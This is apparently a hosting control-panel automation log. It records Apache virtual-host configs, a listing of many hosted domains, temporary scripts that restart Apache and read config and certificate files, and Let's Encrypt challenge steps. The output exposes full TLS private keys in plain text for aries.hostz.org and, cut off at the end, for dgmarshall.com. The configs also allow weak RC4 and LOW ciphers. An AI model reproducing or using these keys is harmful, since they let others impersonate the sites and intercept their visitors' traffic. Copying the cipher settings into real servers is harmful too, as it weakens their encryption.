    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi


2026-02-04 06:00:12: 

chmod 755 /tmp/pkp298004; /tmp/pkp298004; rm /tmp/pkp298004

2026-02-04 06:00:12: 




2026-02-04 06:00:12: 

PUT: /tmp/pkp155422

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-04 06:00:12: 

chmod 755 /tmp/pkp155422; /tmp/pkp155422; rm /tmp/pkp155422

2026-02-04 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:00:12: Establishing a connection
2026-02-04 06:00:13: 

PUT: /tmp/pkp115114

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-04 06:00:13: 

chmod 755 /tmp/pkp115114; /tmp/pkp115114; rm /tmp/pkp115114

2026-02-04 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:00:13: 

PUT: /tmp/pkp628663

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:00:13: 

chmod 755 /tmp/pkp628663; /tmp/pkp628663; rm /tmp/pkp628663

2026-02-04 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf	1872

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-02-04 06:00:13: 

PUT: /tmp/pkp143139

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:00:13: 

chmod 755 /tmp/pkp143139; /tmp/pkp143139; rm /tmp/pkp143139

2026-02-04 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt	5345
74:aa:d3:7e:8e:3d:2b:a2:ab:ae:2a:1b:34:12:c5:92

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBpcRRWBe4d6zMSCFM3mmGxZRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA0MDUwMTQxWhcNMjYwNTA1MDUwMTQwWjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCrNO9Vlv8NpY16LQzqFBk10pDRawh73P2HIu9DyPyS05dFrDWIGwqYHedWQgNs
i6l9n9JFb+DrUIUfzkUHO7+S9S2RSmFakzztCNGbIICvjYbCbMV8pXunh88b/F4H
UECiZBm1+m9Fmb1dMtHy8EMjgGD+NEIIp5Dk0soUsGEWUcQ/BjJ++v4LLNdU1kxw
HjtZbclaM4JcXXtkwIGSBUp0bcb4VBR4ICljSmlwfAFeqmyBwDBaV0Trk4qFers5
U4gHMD7j18hZQGjvSq8zm53Dwj/exb489XBOoT9MyHBr39pIkopFHXr3KIQhesvT
HWNoz7TL/DOgqKUpAt8C9seRAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAMc6A6NF8A9Vrv66AKnRPqn7RnBMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvODIuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUAZBHE
bKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGcJzykMQAABAMARjBEAiAS
CSUCXQQtCl1nYrQ+wU1HRed6bJvw7HyswWqpV7ZG+gIgbf5RO7T6VHvCXeVpLrHo
vGU9hHyavgOpqvhGpEabuXMAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+Ocf
MxP1+gAAAZwnPKRRAAAEAwBHMEUCIQD56Gp13H8WDoHd84hLl6vsXozu7hd5JQEm
3d4wa+mz4gIgEzEdHCDROfUfCq3tbqOX2gE7X5bGJbFiElsLEcsAAPowDQYJKoZI
hvcNAQELBQADggEBAIKXyW3+fNcMDhjO56oJ69JBXbjZvdQDPXrdBIFjc0v3+xFy
D2Cz86lR8sz4BYsEYJ461N1ZMhv7wn7gjKr34yENHG0aTru9Dwg/OQ3PQ4KVxmxl
nsu1fF88dKTchwh1CyIDP3t+tjWknVnv4Rxs2gX7E7D9Ho2O3zOtyEXcO18/oIVf
LF9aeM+bb6uTXjFS/rEuvirzkAVR4Bsayo0DWOMcqgcDfHhKNZZi7NSHWyoqYTVn
YtiukfMIF2FgD+C+JY6TmHi+CXQYgWr075reIcvsClHHS+mv91Y0XbhwugfXMteZ
ZyS+Mi/0mx4zQk/7NJ41rSQ892zA5eR2bDw0m8o=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCrNO9Vlv8NpY16
LQzqFBk10pDRawh73P2HIu9DyPyS05dFrDWIGwqYHedWQgNsi6l9n9JFb+DrUIUf
zkUHO7+S9S2RSmFakzztCNGbIICvjYbCbMV8pXunh88b/F4HUECiZBm1+m9Fmb1d
MtHy8EMjgGD+NEIIp5Dk0soUsGEWUcQ/BjJ++v4LLNdU1kxwHjtZbclaM4JcXXtk
wIGSBUp0bcb4VBR4ICljSmlwfAFeqmyBwDBaV0Trk4qFers5U4gHMD7j18hZQGjv
Sq8zm53Dwj/exb489XBOoT9MyHBr39pIkopFHXr3KIQhesvTHWNoz7TL/DOgqKUp
At8C9seRAgMBAAECggEADXLPCg4eYtgKUPqQ9SI3CL9NmOWreO9XCvJ3kP+Mt4vf
ah2o5tQY9PIEZgYxdqlR2whe4A11wYZFrsXpLjRHTCfuOGd7Vj4Snxv+Ow1GjoOz
fjpFGRF2sSY94pjkWfa33Qm360+Mxg7ZjSSc0VSGMZe4Br/cIAnpm8/jB9UDC1mn
y/9eUm6wHJ6N+zLs7ImtEvR/Koxk868j4VV71JKYXzpkREFKHCC274gIWd2b8bPP
hdxK9DJiQ0WYp8QpRCwnA1y7oKALV31cUzr37E1/8eIyQT7ZUSivseJXQPg/Exnf
xa9olhJeuZo3AOQ1A8LPznMUszsHD075gw9mgcc2QQKBgQDsEYSwjeRcrg+0GPsi
kJP98G5OcAykIFj1EZVf6cvbRyIKO/dZaXwmtEXEaRQE8vzQ7XVKHgW27gcp4tqK
jiZrl3VpygrUeGetvFm4WbsjwyThWxK96QvIIG01ESiscAg0u2r51Gilkib6vBsK
54MCNwNhHtIDA3imHqE5bYAIbQKBgQC5qXg+BeyIiL3to6Snz7JXCdb+10bq9f76
EXWqaA3TVog7T63E7qycO01zzZ/KVDf9XGhMQNO4RsFKr+mJkNlo18YFkVz3e13Q
Di15xYReL3OXO3Bv6smW8jq/FBC+2DCd0NNPuF3ei79E0NNs+yB3zsuS0Mib6RIe
XhP+PXWNNQKBgQDhb2VQmWAf5ZVXfpetDXZWhdlBDJ31ynJJLk6AtqsXr1lhfpya
hTKrX3JUu6gDhexKtMlSS1NXuv2aUWoz8MXd71iP+wLWnlkcP4dKll4xK7U3hBpk
w32d0uGXUNiPu7kKaoQhKmf43ZZd0W7dvfKNFe4jPCR//jukIBIE3n3rDQKBgD0j
NkpOTxai2NBBW/46ocKRpe+jWmITAZS9XR7xRuQ6EYBee51m7wY/bQDeTGknFIzk
+h9qFY4QFqSOivvW7BDfRQEeXhvMzxatJIJ97VnKjGjXlO31xc5kE75KUD1YGaJO
WtdcoeSf5is2DPlNNOLfASBmijj1JhdD6ZeGC4ilAoGATVTgErdeBl/XSUDPf17W
pDNmyPcO+pBHkCnlOLn7NI0d+2nD3OvkwXeAOuykbtjObBpQ4iXlZa0JJ0Qc4/hx
W0YdfipU2yEhFwKXH+O2ZLfAaZN2IdyVA7/rELkSrQdVDHInZDmZ0TIcyQCQy39o
Zgk+mVguI6LNofjsy6vtSwU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-04 06:00:13: Establishing a connection
2026-02-04 06:00:13: Establishing a connection
2026-02-04 06:00:14: 

PUT: /tmp/pkp147243

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-04 06:00:14: 

chmod 755 /tmp/pkp147243; /tmp/pkp147243; rm /tmp/pkp147243

2026-02-04 06:00:14: 


1


2026-02-04 06:00:15: Establishing a connection
2026-02-04 06:00:15: 

PUT: /tmp/pkp658320

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > jY6FiYuBrc9DKBK33QNdKUxKak1HVe60gQfRVMlc53A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jY6FiYuBrc9DKBK33QNdKUxKak1HVe60gQfRVMlc53A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jY6FiYuBrc9DKBK33QNdKUxKak1HVe60gQfRVMlc53A
cat > T7K92GY3qvqWGxQk60O12WJ_srwKs7EcXXE4iS_vdbY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
T7K92GY3qvqWGxQk60O12WJ_srwKs7EcXXE4iS_vdbY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 T7K92GY3qvqWGxQk60O12WJ_srwKs7EcXXE4iS_vdbY


2026-02-04 06:00:15: 

chmod 755 /tmp/pkp658320; /tmp/pkp658320; rm /tmp/pkp658320

2026-02-04 06:00:15: 




2026-02-04 06:00:26: Establishing a connection
2026-02-04 06:00:26: 

PUT: /tmp/pkp536764

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm jY6FiYuBrc9DKBK33QNdKUxKak1HVe60gQfRVMlc53A
rm T7K92GY3qvqWGxQk60O12WJ_srwKs7EcXXE4iS_vdbY


2026-02-04 06:00:26: 

chmod 755 /tmp/pkp536764; /tmp/pkp536764; rm /tmp/pkp536764

2026-02-04 06:00:26: 




2026-02-04 06:00:26: Establishing a connection
2026-02-04 06:00:27: 

PUT: /tmp/pkp807697

#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt

cat > $temp_file <<'endmsg'
fe:f8:96:1c:6b:18:b2:e8:63:b0:be:c9:13:6b:87:fc

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBnsJkcWIi9Gmzhz/NMNEdpvhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA0MDUwMTU1WhcNMjYwNTA1MDUwMTU0WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMwZoGAB1T+cFNxhy7AdJL30TDOvDghwDk9oC5OU+rz57R69jz8fFcXEVjIs42X9
gJJzGeU7VDhl2TiCl3k8Gbigw1NyVujz+CHcR7AYs/qdUakN2N/NBNNHHw6aIpuK
np6unWXKAfRiuzcBA5D8aa+AKXLojs+pqopFHaUp46fRZGtoc3C5SODp57t12/M8
FDpGdNQpKJkhf7zzYRuX2sjoSrdTd0Q9RYcahQzO0rGrANhUdRk0sl3nqxK4by0n
Z+77qG+FKdPC3i96R3ougqSZL1KobxETBXkPmaWqiuPjI+ohSbj8PcyEJm4/Kde6
tOwdm3pTemHH1x2yreCD6B0CAwEAAaOCAjowggI2MA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUwlInXEb6VMB5Ifgj4a1COkKb+7QwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTguY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGcJzzZgAAABAMARzBFAiBktXF9qRjP+ergq/V/4ygdQBvjqIBEuJp+FiwIK1+H
ygIhAIsjG72n83A6aruMc+25updyS+zRBYDWzr0YQ4pgVDufAH4Apcl4kl1XRheC
hw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGcJzzb5gAIAAAFADETV/cEAwBHMEUC
IA71EkADEQLBnCImc9RsK5Ug2RfCX8tudJmLImKg+jEZAiEA08OXcDAjl3jh6Y/h
JPIPLLH5JfEJllURZZ7fN+6feQQwDQYJKoZIhvcNAQELBQADggEBACtaeaFlSls1
/NjIIifJljmpYMii0Cms+qp3HpvNsV+/yTmmFOBySzrh1dt2vdSoINBTPf+7Am4e
I4JpXRjHKGG0LAQOhSrBoxtjbxqp5jXDjXfUTaw1JVfVG8Qnj8yG0T6z/n9o2Irk
FvlT6ZijFHk89FgseSuMGcfDVWP5m0E8FrpztGDdyEk8JMQKpAkOb/RuesrG880l
mkCNZXL/BNee0bg2KbZGoidSZdUxLFDWH7wDN1kaSUWdEXcBg6lsJsvXd7dqnz40
fZ4KaM3ODm1TFP2kfHSzkkbE1b2V5wrGND2GS39u2GhHwN+pTK0Vlx/vySNFKg5L
5d0wcHH6zwE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDMGaBgAdU/nBTc
YcuwHSS99Ewzrw4IcA5PaAuTlPq8+e0evY8/HxXFxFYyLONl/YCScxnlO1Q4Zdk4
gpd5PBm4oMNTclbo8/gh3EewGLP6nVGpDdjfzQTTRx8OmiKbip6erp1lygH0Yrs3
AQOQ/GmvgCly6I7PqaqKRR2lKeOn0WRraHNwuUjg6ee7ddvzPBQ6RnTUKSiZIX+8
82Ebl9rI6Eq3U3dEPUWHGoUMztKxqwDYVHUZNLJd56sSuG8tJ2fu+6hvhSnTwt4v
ekd6LoKkmS9SqG8REwV5D5mlqorj4yPqIUm4/D3MhCZuPynXurTsHZt6U3phx9cd
sq3gg+gdAgMBAAECggEAARrkajtS+cCxFjkLVB1G8nus9pyshpwrX6pbDFtX+Nz2
